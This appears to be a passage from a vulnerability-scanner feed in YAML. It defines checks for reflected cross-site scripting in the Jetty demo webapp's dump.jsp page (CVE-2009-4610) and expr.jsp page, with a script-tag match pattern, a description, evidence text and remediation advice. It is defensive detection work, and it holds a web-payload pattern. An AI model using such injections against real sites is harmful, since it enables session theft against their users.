    pattern: '^<script>alert\(/noctis[0-9a-f]{12}/\)</script>$'
    on_match:
      finding:
        title: "Jetty demo webapp JSP Dump page reflected XSS (CVE-2009-4610)"
        description: "A request to the Jetty demo webapp's jsp/dump.jsp page ({{page}}) with a script element as a parameter name was answered with the JSP Dump page holding the element unescaped in the page text, so the script runs in the browser of anyone who follows such a link. An attacker can use it to run script in the context of the Jetty site, for example to steal session cookies of applications on the same host."
        remediation: "Remove the demo (test) webapp and its contexts from production Jetty servers (webapps/test, contexts/test.xml). The JSP Dump page prints request parameters unescaped in every release that ships it, so the demo webapp must never be exposed."
        cves: [CVE-2009-4610]
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{page}}<element> returned HTTP 200 with the JSP Dump page containing the injected element unescaped: {{xss_proof}}"

  - id: report-expr
    action: match
    source: xss_proof
    condition: "cur.cve == \"\""
    pattern: '^<script>alert\(/noctis[0-9a-f]{12}/\)</script>$'
    on_match:
      finding:
        title: "Jetty demo webapp JSP2.0 Expressions page reflected XSS"
        description: "A request to the Jetty demo webapp's jsp/expr.jsp page with a script element in the A parameter was answered with the JSP2.0 Expressions page holding the element unescaped, so the script runs in the browser of anyone who follows such a link. No CVE names this page's XSS; it is the same unescaped demo-page flaw as CVE-2009-4610 and CVE-2009-4612."
        remediation: "Remove the demo (test) webapp and its contexts from production Jetty servers (webapps/test, contexts/test.xml) and upgrade to a supported Jetty release."
        cves: []
        confidence_delta: 0.55
        qod: 75
        evidence: "GET /jsp/expr.jsp?A=<element> returned HTTP 200 with the JSP2.0 Expressions page containing the injected element unescaped: {{xss_proof}}"

View these feeds on GitHub